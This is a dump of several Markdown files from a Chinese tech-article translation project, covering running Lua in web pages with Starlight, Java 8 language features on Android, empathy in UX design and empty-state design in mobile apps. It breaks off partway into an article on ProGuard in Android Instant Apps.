第七步：重复上述步骤\n\n当集群稳定并且节点恢复后，对剩下的节点重复上述过程。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/embedding-lua-in-the-web.md",
    "content": ">* 原文链接 : [Embedding Lua in the Web](http://starlight.paulcuth.me.uk/docs/embedding-lua-in-the-web)\n* 原文作者 : [paulcuth](https://github.com/paulcuth)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [narcotics726](https://github.com/narcotics726)\n* 校对者: [markzhai](https://github.com/markzhai), [yangzj1992](https://github.com/yangzj1992)\n\n# Starlight - 在网页中运行 Lua\n\nStarlight 可以让你通过「将 Lua 代码置于 `<script>` 标签内」的方式在网页内运行 Lua 脚本。\n\n### Hello world\n\n这里是个简单示例：\n\n[JS Bin on jsbin.com](http://jsbin.com/rovibad/embed?html,console)\n\n可以看到，我们把 Lua 代码包围在一个 `type=\"application/lua\"` 的 `<script>` 标签内部。这样的标签告诉浏览器不要把这段代码当作 JavaScript，也通知 Starlight 对该标签的代码进行解析。\n\n同时我们在浏览器环境中也引入了 Babel，因为 Starlight 输出的是 ES6 代码。并且至少到目前为止，大多数的浏览器也尚未全面支持 ES6。希望在不远的未来我们对于「引入 Babel」的需求可以大大降低。也可以参见 [使用 Grunt 与 Starlight 协作](http://starlight.paulcuth.me.uk/docs/using-starlight-with-grunt) 来学习如何通过预编译来避免引入 Babel。\n\n我们还需要引入 Starlight 本身。在这里，我们使用 `data-run-script-tags` 这个布尔属性来告诉 Starlight 在页面载入时运行脚本。缺少这个属性的话，这些脚本就只能被手动执行了。\n\n到这里为止就不需要其他准备工作了。注意 `print()` 方法会把内容输出到浏览器的控制台窗口。这一行为可以在 Starlight 的配置中修改。\n\n#### MIME  类型\n\nStarlight 会解析所有含有以下 `type` 的标签：\n\n*   text/lua\n*   text/x-lua\n*   application/lua\n*   application/x-lua\n\n### 引入远端脚本\n\n如同 JavaScript 一样，你也可以利用 `src` 属性来引入并运行远端的 Lua 脚本。但有一点不同，远端的文件是通过 [<attr title=\"XMLHttpRequest\">XHR</attr>](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) 载入的，因此远端需要做出相应的 [<attr title=\"Cross-Origin Resource Sharing\">CORS</attr>](https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS) 配置。\n\n[counter-app.lua](http://paulcuth.me.uk/starlight/lua/counter-app.lua) [JS Bin on jsbin.com](http://jsbin.com/mohoci/embed?html,output)\n\n脚本会按照在页面出现的顺序进行解析。要实现非阻塞的加载，你可以添加一个 `defer` 属来将某个脚本的加载动作延迟到其余所有脚本都加载完毕之后。在内联脚本标签中，`defer` 会被忽略。\n\n### 在JavaScript中直接执行Lua代码\n\n使用 starlight.parser.parse() ，就可以用 Starlight 在 JavaScript 中执行任意 Lua 代码。\n\n[JS Bin on jsbin.com](http://jsbin.com/rutoni/embed?html,console,output)\n\n在这种场景下，使用解析器（parser）的一个优秀范例是：将 Lua 代码放置在 `script` 标签中，然后按需执行它们。这样的话，要记得不要在页面加载时就执行这些 Lua 代码，也就是说，不要加上 `data-run-script-tags` 这个属性。\n\n[JS Bin on jsbin.com](http://jsbin.com/coheya/embed?html,console,output)\n\n### 模块\n\n通过 `data-modname` 这个属性，我们可以将 `script` 标签转变成一个 Lua 模块。这个标签会被预加载但不会立刻执行，同时，可以被之后其他的 Lua 代码引用（require）。但要保证这个模块所在的标签出现在其他引用它的脚本之前。\n\n[JS Bin on jsbin.com](http://jsbin.com/gadequp/embed?html,console)\n\n`data-modname` 这个属性同样可以被用在远端 `script` 标签上。使用 `script`标签时，所有模块必须在当前页面上显式定义。除非被引用的代码在页面上定义过，否则使用相对文件路径进行 `require()` 都会失败。以上规则不适用于使用 Starlight 进行预编译的情况，参见 [使用 Grunt 与 Starlight 协作](http://starlight.paulcuth.me.uk/docs/using-starlight-with-grunt) 来获取更多信息。\n\n[fibonacci-module.lua](http://paulcuth.me.uk/starlight/lua/fibonacci-module.lua) / [fibonacci-app.lua](http://paulcuth.me.uk/starlight/lua/fibonacci-app.lua) [JS Bin on jsbin.com](http://jsbin.com/xumoka/embed?html,output)\n\n### 配置\n\n通过在引入 Starlight 浏览器端库 _之前_ 在 JavaScript 中创建一个配置对象，我们可以对 Starlight 进行配置。\n\n这个对象就是 `window.starlight.config`，目前可以通过这个对象来覆盖 `stdout` 的目标位置，以及向 Lua 的全局命名空间中添加变量。\n\n接下来的例子中，我们将把 `stdout` 的输出从浏览器的控制台重定向到 DOM 元素中。\n\n[JS Bin on jsbin.com](http://jsbin.com/silezu/embed?html,output)\n\n要使用该配置对象来初始化 Lua 的全局环境，参见 [与 JavaScript 交互](http://starlight.paulcuth.me.uk/docs/interacting-with-javascript)。\n"
  },
  {
    "path": "TODO/embracing-java-8-language-features.md",
    "content": "\n> * 原文地址：[Embracing Java 8 language features](https://jeroenmols.com/blog/2017/07/21/java8language/)\n> * 原文作者：[Jeroen Mols](https://jeroenmols.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/embracing-java-8-language-features.md](https://github.com/xitu/gold-miner/blob/master/TODO/embracing-java-8-language-features.md)\n> * 译者：[tanglie1993](https://github.com/tanglie1993)\n> * 校对者：[lileizhenshuai](https://github.com/lileizhenshuai), [DeadLion](https://github.com/DeadLion)\n\n# 拥抱 Java 8 语言特性\n\n近年来，Android 开发者一直被限制在 Java 6 的特性中。虽然 RetroLambda 或者实验性的 Jack toolchain 会有一定帮助，来自 Google 官方的适当支持却一直缺失。\n\n终于， Android Studio 3.0 带来了（已经向后移植！）对大多数 Java 8 特性的支持。继续阅读，你将看到其中的原理，以及升级的理由。\n\n## 引入 Java 8 特性\n\n虽然 Android Studio 已经支持 [Jack toolchain](https://developer.android.com/guide/platform/j8-jack.html) 中的大量特性，从 Android Studio 3.0 开始，它们会在默认的工具链中被支持。\n\n首先，确保你已经把以下内容从你的主要 `build.gradle` 中移除，从而关闭了 Jack:\n\n```\nandroid {\n  ...\n  defaultConfig {\n    ...\n    // Remove the jackOptions if they exist\n    jackOptions {\n      enabled true\n    }\n  }\n}\n```\n\n然后加入以下的配置：\n\n```\nandroid {\n  ...\n  compileOptions {\n    sourceCompatibility JavaVersion.VERSION_1_8\n    targetCompatibility JavaVersion.VERSION_1_8\n  }\n}\n```\n\n并且确保你在根 `build.gradle` 文件中有最新的 Gradle 插件：\n\n```\nbuildscript {\n  ...\n  dependencies {\n    classpath 'com.android.tools.build:gradle:3.0.0-alpha7'\n  }\n}\n```\n\n恭喜，你现在可以在所有的 API 层级上使用大多数的 Java 8 特性了！\n\n> 注意：如果你要从 [RetroLambda](https://github.com/evant/gradle-retrolambda) 迁移过来，官方文档有一个更加全面的 [迁移指南](https://developer.android.com/studio/write/java8-support.html#migrate)。\n\n## 有关 Lambda 表达式\n\n在 Java 6 中，向另一个类传入监听器的代码是相当冗长的。典型的情况是，你需要向 `View` 添加一个 `OnClickListener`：\n\n```\nbutton.setOnClickListener(new View.OnClickListener() {\n    @Override\n    public void onClick(View view) {\n        doSomething();\n    }\n});\n```\n\nLambda 表达式可以把它显著地简化成下面这样：\n\n```\nbutton.setOnClickListener(view -> doSomething());\n```\n\n注意：几乎全部模板代码都被删除了：没有访问控制修饰符，没有返回值，也没有方法名称！\n\nLambda 表达式究竟是怎么工作的呢？\n\n它们是语法糖，当你有一个只有一个方法的接口时，它们可以减少创建匿名类的需要。我们把这些接口称为功能接口，`OnClickListener` 就是一个例子：\n\n```\n// 只有一个方法的功能接口\npublic interface OnClickListener {\n    void onClick(View view);\n}\n```\n\n基本上 lambda 表达式包括三个部分：\n\n```\nbutton.setOnClickListener((view) -> {doSomething()});\n```\n\n1. 括号 `()` 中所有方法参数的声明\n2. 一个箭头 `->`\n3. 括号 `{}` 中需要执行的代码\n\n注意：在很多情况下，甚至 `()` 和 `{}` 这样的括号也可以被移除。更多细节，参见 [官方文档](https://docs.oracle.com/javase/tutorial/java/javaOO/lambdaexpressions.html)。\n\n## 方法引用\n\n回忆一下 lambda 表达式为功能接口删除了大量样板代码的情形。当 lambda 表达式调用了一个已经有名字的方法时，方法引用把这个概念更推进了一步。\n\n在下面的例子中：\n\n```\nbutton.setOnClickListener(view -> doSomething(view));\n```\n\nLambda 只是把要做的所有事情重定向到已有的 `doSomething()` 方法。在这种情况下，方法引用把事情简化到：\n\n```\nbutton.setOnClickListener(this::doSomething);\n```\n\n注意，被引用的方法必须和功能接口接收相同的参数：\n\n```\n// 功能接口\npublic interface OnClickListener {\n    void onClick(View view);\n}\n\n// 被引用的方法：必须接收 View 作为参数，因为 onClick() 会这样做：\nprivate void doSomething(View view) {\n    // do something here\n}\n```\n\n那么，方法引用是如何工作的呢？\n\n它们同样是语法糖，可以简化调用了现有方法的 lambda 表达式。他们可以引用：\n\n| | |\n| - | - |\n| 静态方法 | MyClass::doSomething |\n| 对象的实例方法 | myObject::doSomething |\n| 构造方法 | MyClass:: new |\n| 任何参数类型的实例方法 | String::compare |\n\n如果你需要更多关于这个的实例，请查看 [官方文档](https://docs.oracle.com/javase/tutorial/java/javaOO/methodreferences.html)。\n\n## 默认接口方法\n\n默认方法使你可以在不破坏实现一个接口的所有的类的情况下，向该接口中加入新的方法。\n\n假设你有一个 `MyView` 接口，它被一个 `MyFragment` 实现（典型 MVP 场景）：\n\n```\npublic interface MyView {\n    void showProgressbar();\n}\n\npublic class MyFragment implements MyView {\n\n    @Override\n    public void showProgressbar() {\n\n    }\n}\n```\n\n如果你现在想要向 MyView 中加入一个额外的方法，你的代码将不再能够编译，直到 `MyFragment` 同样实现了这个新方法。这很烦人，并且如果很多类都实现这个接口的话，可能会引发新的问题。\n\n因此 Java 8 允许你定义带有标准实现的默认方法：\n\n```\npublic interface MyView {\n    void showProgressbar();\n    default void hideProgressbar() {\n        // do something here\n    }\n}\n```\n\n那么默认方法是如何工作的呢？\n\n在接口中定义一个带有 `default` 关键字的方法，并提供一个真实的默认方法体。\n\n要学习关于这个特性的更多知识，请查看 [官方文档](https://docs.oracle.com/javase/tutorial/java/IandI/defaultmethods.html)。\n\n## 如何开始\n\n虽然这看起来有些吓人，但是一旦你打开了 Java 8 特性，Android Studio 就提供了非常好用的快速修复功能。\n\n只要使用 `alt/option` + `enter` 就可以把功能接口转化为一个 lambda 表达式，或把 lambda 转为方法引用。\n\n![Java 8 语言的快速修复功能](https://jeroenmols.com/img/blog/java8language/androidstudioconversion.gif)\n\n这是一种熟悉新特性的好办法，它使你可以按照自己习惯的方式写代码。在使用 Android Studio 的快速修复功能足够多次之后，你将学会 lambda 表达式和方法引用有哪些使用场景，并开始自己写它们。\n\n## 支持的特性\n\n虽然并不是所有的 Java 8 特性都已经被向后移植，但是Android Studio 3.0 提供了很多其他的特性：\n\n- [静态接口方法](https://docs.oracle.com/javase/tutorial/java/IandI/defaultmethods.html)\n- [类型注解](https://docs.oracle.com/javase/tutorial/java/annotations/type_annotations.html)\n- [重复标记](https://docs.oracle.com/javase/tutorial/java/annotations/repeating.html)\n- [针对资源的 try 语句](https://docs.oracle.com/javase/tutorial/essential/exceptions/tryResourceClose.html) (所有版本，最低版本不再是 SDK 19)\n- Java 8 APIs (e.g. stream) -> min SDK 24\n\n## 收尾\n\nJava 8 特性使得很多代码可以被简化为 lambda 表达式或方法引用。 Android Studio 自动转化是最简单的开始学习这些特性的方式。\n\n如果你已经读到这里了，你很可能应该在 [Twitter](https://twitter.com/molsjeroen) 上关注我。欢迎评论！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/empathy-and-ux-design.md",
    "content": "> * 原文地址：[Why Empathy Matters as a UX Designer](https://careerfoundry.com/en/blog/ux-design/empathy-and-ux-design)\n> * 原文作者：[CLAIRE RACKSTRAW](https://careerfoundry.com/en/blog/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：\n> * 校对者：\n\n![](https://careerfoundry.com/en/blog/ux-skills-1-copy-04ce154a70fbb2a38b6931bfb17913551e6f6379d78a3cb88ab8156782934cd6.jpg)\n\n# Why Empathy Matters as a UX Designer #\n\nIf you’d have seen me being guided around my university campus blindfolded, you might have thought we were playing a game. In actual fact,it was part of my training to become a nurse.\n\nIn order to empathize with patients and their families, a nurse should understand how their patient feels. For example,  someone may have a visual impairment or difficulty hearing, they might be worried, they might be in pain or feeling nauseous. To be in a good position to address their needs and help to solve their problems, empathy is important.\n\nFast forward 10 years, and I’ve changed careers - from nursing to [UX design](https://careerfoundry.com/en/courses/become-a-ux-designer), and I have found that **a lot of what I learnt during my nursing career is still valuable.** Regardless of your product, digital or otherwise, you should be aware that those using your services are not operating in a **perfect testing environment.** You need to find ways to familiarize yourself with and empathize with situations different to your own, and design with these situations in mind.\n\nRead on to learn:\n\n- How my nursing career has informed my role as a UX designer\n- The difference between sympathy and empathy (and why you shouldn’t confuse the two!)\n- How to use empathy to be a better UX designer\n- A successful example of empathy in design: Danone\n- Tips for introducing an empathic mindset in your company\n\nSo, let’s begin by looking at **what nursing taught me about empathy…**\n\n![](https://careerfoundry.com/en/blog/uploads/versions/UX_Skills_4---x----1260-650x---.jpg)\n\n## How my nursing career has informed my role as a UX designer ##\n\nWhen I started training as a student nurse, I realized that **in order to successfully build a rapport with patients and their families I needed to be able to empathize with them**, to understand what this experience might be like for them and all of the factors that were influencing their experience of accessing healthcare.\n\nI also came to realize that when a person accesses healthcare services, or any other service, their experience does not exist in isolation from the rest of their life. When someone is admitted to hospital for example, what factors are shaping their experience? Is this the person’s first admission to hospital? Is there someone available to offer them support? Have they previously had good or bad experiences of accessing healthcare services? Thinking empathically allows you to see the bigger picture and consider the person and their circumstances as a whole.\n\nBy practising empathy as a UX professional you can apply this holistic approach to assessing user needs by thinking about the user’s experience in it’s entirety, and not just when they are interacting with a particular feature on a screen.\n\n[Curious about Human Behavior? Take our Free 7-Day UX Design Course > > > Learn More Here...](http://info.careerfoundry.com/ux-design/free-ux-course-think-emails) \n\nIn the field of UX you often hear the phrase “you are not the user” which reminds us that as designers we can’t make any assumptions about the people that we’re designing for. To really empathize with users we must be prepared to learn about all of the factors that influence how they interact with and perceive the product or service we are creating for them.\n\n![](https://careerfoundry.com/en/blog/uploads/versions/UX_Skills_6---x----1260-650x---.jpg)\n\n## The difference between sympathy and empathy (and why you shouldn’t confuse the two!) ##\n\nBefore we go any further, let’s take a look at exactly what empathy is, how it differs from sympathy, and why having sympathy for those you are designing for might not be helpful for finding the right solutions.\n\nThe word sympathy is most commonly used to mean “feelings of pity and sorrow for someone else’s misfortune.” Sympathy is associated with caring and a desire to see the situation of others improve, but it doesn’t enable us to create meaningful connections with others.\n\nEmpathy is defined by Dictionary.com as “…the capacity or ability to imagine oneself in the situation of another, thereby vicariously experiencing the emotions, ideas, or opinions of that person.” Empathy is not just about imagining how someone is feeling, but also having some knowledge of their situation and what they are trying to achieve. Unlike sympathy, empathy allows us to make meaningful connections with others.\n\nWithout empathy, we cannot fully understand the problems users might be facing in relation to our product. Sympathy alone will likely result in a solution we think is a great idea but which actually doesn’t provide any benefit to the user. Empathy enables us to understand the user and their experience as a whole, facilitating solutions that fix the right problems.\n\n![](https://careerfoundry.com/en/blog/uploads/versions/UX_Skills_3---x----1260-650x---.jpg)\n\n## How to use empathy to be a better UX designer ##\n\nIn my experience, the most effective way to practice empathy as a designer is to observe users interacting with your product or service in their own environment, be that home, work, or out and about. Observing users in the field allows us to glean insights that cannot be captured through other research methods. However, the reality is that observational field work rarely happens because it is time and resource intensive. How else can we build empathy for users?\n\nFirstly, try to utilize a diverse set of research methods to gather insights about your existing or potential customers. This way you can capture a range of insights from participants and gain a well-rounded picture of how they perceive and experience your product. Understanding how your product fits into and impacts the lives of your customers will help you to develop empathy for them, so create a variety of opportunities to learn as much about them as you can.\n\nNext, make use of customer service conversations and feedback. Discussions generated in customer service conversations can reveal a lot about how your product or service impacts customers in their day-to-day lives in ways that surveys or usability testing can’t. Take the time to talk with your customer service team, they are likely to have valuable insights to share.\n\nFinally, experience your product from the perspective of a customer; this can be an incredibly effective way to build empathy. For example, as a student nurse, walking around my university campus blindfolded helped me to think about how I would design healthcare services to better serve blind patients.\n\n![](https://careerfoundry.com/en/blog/uploads/versions/UX_Skills_5---x----1260-650x---.jpg)\n\n## A successful example of empathy in design: Danone ##\n\nIn 1996 food company Danone partnered with a non-profit organisation called the Grameen Foundation with the aim of tackling malnutrition and boosting local employment in a district of Bangladesh.\n\nDanone brought its expert knowledge of food production and combined it with the Grameen Foundation’s extensive experience of distributing products to rural communities in Bangladesh.\n\nThey set up a factory producing a special, nutrient-dense yogurt which would provide a child with 30% of their daily vitamin and mineral requirements. The goal of this project was to create positive social impact, and they managed to do this effectively by empathizing with the unique needs of the local population:\n\n- Traditional marketing methods weren’t suitable because many rural, Bangladeshi residents aren’t literate, can’t travel far, and aren’t well educated about nutrition. Therefore, local women were recruited to do door-to-door sales to educate people about the product and encourage details of the product to spread by word of mouth.\n- The factory used local milk supplies and based the price of the yogurt on the cost of the local milk. This kept the price of the yogurt at a level that was affordable for even the poorest families.\n- Constraints in certain aspects of food production led to innovative ideas that could be applied to other markets, such as the use of enzymes to keep unrefrigerated milk fresh for longer.\n\nAlthough this is ‘design’ on a very large scale and of a non-digital nature, this example is an excellent demonstration of using empathy to understand the needs of your target customers, how best to meet their needs, and create opportunities for innovation in the process.\n\n![](https://careerfoundry.com/en/blog/uploads/versions/UX_Skills_2---x----1260-650x---.jpg)\n\n## Tips for introducing an empathic mindset in your company ##\n\nWithout a mutual understanding of the benefits that an empathic design approach can bring, it can be difficult to stand up to business-driven product requirements or unvalidated assumptions about the right solutions to implement.\n\nOne of the easiest ways to help others in your team or company to start thinking more empathically is to invite them to sit in on user research or user testing. Ask them to be your note taker, or simply have them observe. When a non-design team member can actually see and hear first hand a user experiencing and interacting with a product, it gives them an opportunity to develop empathy for that user and create a meaningful connection with them.\n\nAnother way to help others develop more empathy for users is to share insights from user research with the whole company. Present insights in a way that allows others to see how they might translate into opportunities for innovation or priority areas of the product that need improvement.\n\nVisual representations of research findings catch people’s attention and convey insights more effectively than a page of bullet points. Clearly presented user research insights can be a powerful weapon against business-driven product requirements and assumptions held by those in roles far detached from customers.\n\nIn summary, by adopting an empathic approach to the design process as designers we can make a holistic assessment of user’s needs to uncover meaningful solutions to problems and opportunities for innovation that are not always immediately apparent.\n\nPersuading colleagues outside of the design team to see user needs from an empathic viewpoint can be challenging, but by including others in user research and actively sharing research insights, you can encourage everyone to have empathy for users and achieve a greater balance between user and business needs.\n\n**Want to learn more about the research I discussed here? Check them out:**\n\n- [Empathy on the Edge: Scaling and sustaining a human-centered approach in the evolving practice of design](http://5a5f89b8e10a225a44ac-ccbed124c38c4f7a3066210c073e7d55.r9.cf1.rackcdn.com/files/pdfs/news/Empathy_on_the_Edge.pdf)  by Battarbee K, Fulton Suri J, Gibbs Howard S & IDEO, 2014\n- [A Social Business Success Story: Grameen Danone in Bangladesh](http://knowledge.essec.edu/en/sustainability/a-social-business-success-story.html)  by Renouard C, 2012\n\n>> Finally, if you want to learn more about UX, take our free 7-day [UX Design Short Course](http://info.careerfoundry.com/ux-design/free-ux-course-think-emails).\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/empty-state-mobile-app-nice-to-have-essential.md",
    "content": "> * 原文链接 : [ Empty State: Mobile App “Nice-to-Have” Essential ](https://uxplanet.org/empty-state-mobile-app-nice-to-have-essential-f11c29f01f3)\n* 原文作者 : [ Nick Babich ](http://babich.biz/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 :[ MAYDAY1993 ](https://github.com/MAYDAY1993)\n* 校对者: [jiaowoyongqi](https://github.com/jiaowoyongqi) [shixinzhang](https://github.com/shixinzhang)\n\n# 在开发移动应用时你应该考虑的 「Empty State」\n\n普通应用在安装后的前三天会失去 77% 的日活跃用户。更为严重的是：三十天内，大约[ 80% 的日活跃用户会流失](https://www.linkedin.com/pulse/losing-80-mobile-users-normal-why-best-apps-do-better-andrew-chen).\n\n这些低留存率是因为应用做的很烂么？并不总是这个原因。\n\n用户试用了很多应用并且在最初的几天决定要删掉哪些。应用成功的关键是在关键时期吸引住用户。\n\n你的任务是确保用户停留足够长的时间并有很多交互操作来享受应用。 但在这些好情况发生之前他们应该享受第一次使用。\n\n通常我们设计一个很受欢迎的界面，布局里的每个元素看上去都安排的很好。空白状态界面通常是你最后设计的。事实上 empty state 对于吸引用户操作充满潜力。即使 empty state 只是一个临时的阶段，我们必须认真对待它带来的与用户交流的价值。\n\n什么时候用户遇到 empty state？\n\n* 第一次使用：应用第一次启动\n\n* 错误：遇到一些问题\n\n* 用户删除内容：当用户删掉所有的应用内容\n\n empty state 的作用不仅仅是装饰的作用。除了通知用户页面上期待展示的内容， empty state 也具有优化首次使用体验的作用－－他们告诉用户需要哪些明确的操作，所以应用才会有预期的功能。当用户遇到一个问题， empty state 也是极好（或坏）的。\n\n一个成功 empty state 的完成下面三个目标：\n\n* 教育和帮助\n\n* 让用户愉悦\n\n* 提示用户进行操作\n\n empty state 的第一个目标是教人们怎么用你的应用。如果他们不理解功能，他们会离开。所以你应该通过建立起对未知的期待，让用户体验更好。\n\n![](https://cdn-images-1.medium.com/max/800/1*Ssdl9aLaPp00aSyXk_9dfw.gif)\n\n\n[ Invoice app ](https://dribbble.com/shots/2264802-Empty-states) —双色插图的空白状态页，清晰地展示了如何快速地管理数据、查看销售业绩以及掌握客户动态的所有功能。\n\n\n empty state 应该在出错的时候起作用。你需要在 empty state  的友好和有用间找到平衡。当显示错误的时候，向用户解释为什么他看不到任何东西以及如何解决这一问题：\n\n**不好的例子:** Spotify 的 empty state 只有 ‘An error occurred’ 信息\n\n\n![](https://cdn-images-1.medium.com/max/800/1*flCJh0D4pHW_MvN4WRwRxw.png)\n\n\n**[Spotify’s](https://itunes.apple.com/us/app/spotify-music/id324684580?mt=8)** 的错误提示并不像它本该的那样有用。\n\n**好的例子:** Azendoo .感到迷茫和失连啦，像你在一个废弃的小岛上？听从建议，保持冷静，点把火，持续刷新就好啦。\n\n![](https://cdn-images-1.medium.com/max/800/1*ydkY2tT5WIKUUH6KE6Te3w.png)\n\n[ Azendoo’s ](https://itunes.apple.com/us/app/azendoo-tasks-conversations/id581907820?mt=8)的错误页面好玩又有用。\n\n一个首次使用的好的 empty state 强调如下的时刻：\n\n一个好的印象不仅仅是关于可用性，还关于个性化。如果你的第一个 empty state 页面看上去和相似的产品有一点不同，你已经向用户表明整个产品的体验也可能不同。对于 empty state 你的目标是给用户一个愉快的惊喜。\n\n![](https://cdn-images-1.medium.com/max/800/1*lds5Wy3tr9ZfczCvBDQcfA.png)\n\n苹果上 **Dubizzle** 的没有喜欢的广告。\n\n你能设计一些新鲜或惊喜的么？像是一个动态的 empty state ：\n\n![](https://cdn-images-1.medium.com/max/800/1*8rPDEnwRzQnReRL0CKdLzA.gif)\n\n**Workmates**  —动物在单独页面用可爱的hi和hello和你打招呼呢。\n\n或者你可能编个笑话？\n\n![](https://cdn-images-1.medium.com/max/800/1*JBp1Gfz0tEyjkMsnncv-WA.png)\n\n\n**[Cognito Brain Training](https://itunes.apple.com/us/app/cognito-brain-training-games/id872808619?mt=8)** —你会吃惊于看到一只鲨鱼，不管内容。\n\n[ Aaron Walter ](https://twitter.com/aarron?lang=en)用人类需求的等级作为一个应用有成功的用户体验的一个[解释](https://speakerdeck.com/aarron/learning-to-love-humans-emotional-interface-design)；应用除了应该是有用的，可靠的、能用的，也应该是使人欢快的。所以设计下面的页面同理：\n\n![](https://cdn-images-1.medium.com/max/800/1*YkkBujuWgkAgfHzF2LhGIA.jpeg)\n\n在 **Line Play** 里没有新闻结果。不管怎样，这体验很不好。\n\n看你的手机里的首次使用页和其他应用的 empty state 体验。通过以下方法来取悦用户：\n\n将一个 empty state 视为一个微型的登录页面。设计上保持微型的同时，一个成功的页面将会解释一个明确的特性并让用户有下一笔操作。\n\n![](https://cdn-images-1.medium.com/max/800/1*8uoH4mJgXckTrXI00ENcsA.png)\n\n\n为了在一个 empty state 促使用户下一步操作，你应该这样：\n\n* 刺激用户：用适合用户的刺激性的语言和设计例如： “Learn more” 或 “Let’s get started.”\n\n![](https://cdn-images-1.medium.com/max/800/1*vPq7xB-7dPR0lbm0yrXokg.png)\n\n**[Dropbox](https://itunes.apple.com/us/app/dropbox/id327630330?mt=8)** iOS 应用\n\n* 说服用户：提醒他们当他们使用产品后将会获取的好处\n\n![](https://cdn-images-1.medium.com/max/800/0*NJntJk_zESA2Wh9r.)\n\n\n**[Flipboard](https://flipboard.com/)** 移动端应用\n\n* 引导用户：向他们推荐并展示开始使用应用最好的方法。提供一个提示（或箭头）的按钮来引导用户采取必要的操作来关闭 empty state ，然后得到一个更有意义的页面“\n\n![](https://cdn-images-1.medium.com/max/800/0*x9PMwcO5DYUoRmeP.png)\n\n箭头在第二张图提示操作。来源：[ Dribbble ](https://dribbble.com/shots/2096264-Empty-states)\n\n* 深入研究 empty state 因为它不是用户体验中一个暂时的或很小的部分。让用户在使用你的应用的时候很欢快并且能将个人感觉和产品特性联系起来。向用户介绍应用的好处，用户才能知道他们为什么要在意这个产品。\n\n* 视觉上保持简单的设计：通常来讲，简洁的页面，清晰的图标或插图和一个 [ CTA ](https://en.wikipedia.org/wiki/CTA) 按钮足够了。\n\n* 如果 empty state 是被用户的良好行为触发的，用一个愉快的信息来奖励用户。\n\n* 如果 empty state 是出错后出现的，解释清楚怎样解决这个问题和返回到之前的页面\n\n empty state 和其他设计组件一样重要，因为用户体验是所有能和谐地起作用的部分的总和。用户界面需要信息和操作之间精细的平衡。 empty state 将用户和设计完善的UI界面相连接起来，以此来保留用户的注意力。\n\n_Follow UX Planet:_ [_Twitter_](https://twitter.com/101babich) _|_ [_Facebook_](https://www.facebook.com/uxplanet/)\n"
  },
  {
    "path": "TODO/enabling-proguard-in-an-android-instant-app.md",
    "content": "> * 原文地址：[Enabling ProGuard in an Android Instant App](https://medium.com/google-developers/enabling-proguard-in-an-android-instant-app-fbd4fc014518)\n> * 原文作者：[Wojtek Kaliciński](https://medium.com/@wkalicinski?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/enabling-proguard-in-an-android-instant-app.md](https://github.com/xitu/gold-miner/blob/master/TODO/enabling-proguard-in-an-android-instant-app.md)\n> * 译者：[JayZhaoBoy](https://github.com/JayZhaoBoy)\n> * 校对者：[hanliuxin5](https://github.com/hanliuxin5)\n\n# 在 Android Instant App（安卓即时应用程序）中启用 ProGuard （混淆）\n\n**_更新于 2018–01–18:_** _指南第五步中的重要更新，是对非基础模块的必要补充_\n\n### Instant Apps（即时应用）和 4 MB 字节的限制\n\n把一个已经存在的应用程序转换成 [Android Instant App（安卓即时应用程序）](https://developer.android.com/topic/instant-apps/index.html)是很有挑战性的，但对于[模块及结构化你的项目](https://developer.android.com/topic/instant-apps/getting-started/structure.html)而言却是一个很好的练习，更新 SDKs（开发工具包）并遵守所有的 [Instant Apps（即时应用程序）沙箱限制](https://developer.android.com/topic/instant-apps/getting-started/prepare.html)以确保即时应用程序的安全和更快的加载速度。\n\n其中一项限制规定，对于即时应用处理的每个 URL，传送到客户端设备上的功能模块和基本模块的总大小不得超过 4 MB 字节。\n\n想一下你的项目中可能存在的典型的 _common（公共）_ 模块（在 Instant Apps（即时应用程序）术语中，我们将称这个模块为 _base feature（基础功能）_ 模块）：它可能依赖于支持库的许多部分，包含 